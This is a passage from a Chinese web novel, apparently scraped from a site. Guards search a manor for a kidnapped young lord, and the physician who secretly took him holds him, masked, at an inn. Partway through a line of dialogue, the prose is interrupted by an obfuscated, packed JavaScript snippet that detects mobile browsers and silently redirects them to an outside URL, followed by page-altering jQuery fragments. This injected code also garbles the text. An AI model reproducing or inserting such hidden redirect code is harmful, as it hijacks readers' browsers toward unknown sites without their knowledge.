有手下提醒:“可神女也做得出变声药,还真不一定是红灵神医。”
“她们主仆明显刚从睡梦中醒来,而且院子里没有十一公子的人影。”
“再说了,何况她们有何理由掳走十一公子?”
有人笑着调侃道:“十一公子在南境是出了名的美男子,或许是神医看上了。”
哈哈哈……
众人都忍不住哄笑出声,气氛也不再那么严肃。
而玉风却还是一脸严肃,皱眉扫视了他们一眼,“现在是说笑的时候?”
瞬间不敢再笑了,空气又恢复凝重。
这件事让他很头疼,作为护卫长,出了这种事是要担责任的。
若是拓跋浚找不到,他的责任就大了。
玉风深吸一口气,皱着眉继续往前走。
快到大殿时,袁七带着人返回,来到他身前禀报:“回老大,二房方向已经寻找过,没有。”
不久后,去其他方向搜寻的人也陆续返回。
他们的回答都是一致,没有找到。
玉风眉宇紧锁,眯眸沉思片刻后说道:“刺客定然还在庄园中,加大力度巡逻搜查。”
“临仙居那边暗中盯紧点儿,有任何异常情况都随时汇报。”
思来想去,怀疑的对象还是临仙居。
他并没有更多证据证明,可就是有这一种直觉。
袁七诧异,“老大,你觉得跟临仙居有关?这……这不可能,她们根本没有理由这么做。”
有人笑着道:“或许是神医看上十一公子了。”
“别胡说!”袁七有些生气地瞪了他一眼,反驳道:“神医若想要什么美男子,那不是勾勾手指头的事吗?”
“……”
也对。
红灵神医那么高贵貌美。
想要什么男人没有?
只要一句话,不知多少男人会挤破脑袋往前凑。
“好了!”玉风出声道:“让人盯着不是怀疑,而是保护!”
说罢大步离开,朝着三房而去。
三老爷与乔氏一直在院门位置候着。看见他过来,立刻询问搜查情况。
乔氏迫不及待询问,“怎么样?有没有找到我儿子?”
玉风皱眉摇了摇头,“没有,还在继续搜查,庄园比较大,需要时间。”
“三老爷,三夫人,你们进屋休息吧,有消息在下会第一时间通知。”
“对方没有在屋内伤害十一公子,只是掳走就说明不想害命。”
若是要害命,根本无需掳走,直接解决就好。
三老爷也是见过世面的,听了他的分析也表示赞同,“的确如此,一定要尽快找到。”
“会的。”玉风颔首应下。
临仙居。
沈月凝入了空间中,刚进屋关押拓跋浚屋时,就听见轻哼声。
是拓跋浚有醒来的迹象,没有睁开眼,但皱了皱眉揉了一下疼痛的脖子。
沈月凝立刻又是一掌下去,他又陷入昏迷,“看来喂他服下**最妥当。”
说罢来到药房找到**,喂进他的嘴里面。
整个庄园还是处于警惕状态,护卫搜查没有停下。
翌日清晨。
拓跋惊云立刻对此事严肃对待,增派人手开始调查。
一夜未找到,他们猜测就是庄园内的人,且已经隐藏了身份。
而沈月凝则是带着玉莲出了临仙居,想要出去一趟。
两人都比较敏锐,很快发现临仙居外面的护卫多了不少。
或许明面上是为了保护,暗地里的目的实际是监视。
沈月凝表现毫不在意,众人向她行礼打招呼,她也会淡淡颔首回应。
待二人离开后,立马有人找到玉风汇报情况,“老大,红灵神医与婢女一起离开庄园了。”
玉风闻言,问道:“只有她们二人?”
手下点头,“对,只有二人,没有带任何东西,是步行出的庄园。”
步行。
没有带任何东西。
这一刻玉风有些怀疑自己的判断了。
他沉思片刻后,吩咐道:“找个理由进临仙居再搜查一遍。”
昨夜虽然有搜查过,可夜里也有可能会有纰漏。
手下闻言,立刻照办,结果搜查后是一无所获。
玉风站在院中,环顾四周,随后叫来了春菊与福贵儿问话。
他打量了一下春菊,问道:“昨夜她们可有出门过?有没有听见可疑动静?”
春菊如实将自己知道的情况告知:“昨夜接近二更天时还检查了一下制药房清扫情况,之后就回了屋里。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089059|185595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你们带人还未到院里时,福贵儿就敲门叫醒了神医,之后的事情您都知道……”
听她这么一说,并无什么异常举动。
这一刻玉风有些烦躁起来,感觉毫无头绪。
他皱眉沉默两息,开口道:“知道了,为了安全起见,你们平日多注意点儿,别让人潜进来。”
嘱咐后就带着人离开。
春菊送到了院门口,目送他们远去后才返回院子,“奇怪,他怎么又搜查一遍?”
福贵儿猜测:“或许担心神医安全。”
……
沈月凝已经在一家普通客房间里面。
身上已经换成了昨夜的夜行衣,黑布蒙着面。
拓跋浚躺在榻上,皱了皱眉悠悠转醒,吃疼地揉了揉太阳穴。
“啊……好疼。”他缓缓睁开眼,顿时眼中充满疑惑,“这是哪儿?”
玉莲立刻粗着嗓音出声道:“客栈。”
突然的声音吓了他一跳,一个激灵地起身,看向桌前坐着的玉莲。
眼中充满惊恐之色,哆哆嗦嗦道:“你你你你是何人?想对我做什么?”
“我告诉你,识相就立刻放我离开,我可是拓跋家公子,得罪拓跋家可没好处!”
噼里啪啦说了一通,眼神一直紧张又警惕地盯着,还不断往后退。
结果背部撞到了什么,回头一看,顿时倒吸一口凉气。
居然还有一个黑衣人,他这是撞到人家背部了!
“别别杀我!”拓跋浚已经惊慌失措,跌倒在地,“要多少银子可以开口,只要我拿得出都可以给你们!”
玉莲看着他那哆哆嗦嗦的样子,不禁觉得好笑。
随后呼吸逗他道:“我这个人不喜女子,就喜欢好看的男子。所以……这一次不劫财,只劫色。”
劫色!!!
这两个字将拓跋浚吓得不轻。
比劫财可怕多了!
他可是黄花大闺男,要是被一个男人劫色的事传出去,还有什么脸活着!?
“不不不……”拓跋浚连连摇头,“我我我给你钱,你去烟花之地找找找好看的男子。”
额头上冒着冷汗,脸色很是苍白,眼眶甚至微微泛红。
玉莲看着都觉得有点心疼了,“啧啧啧……这小表情,看得爷都心疼了。”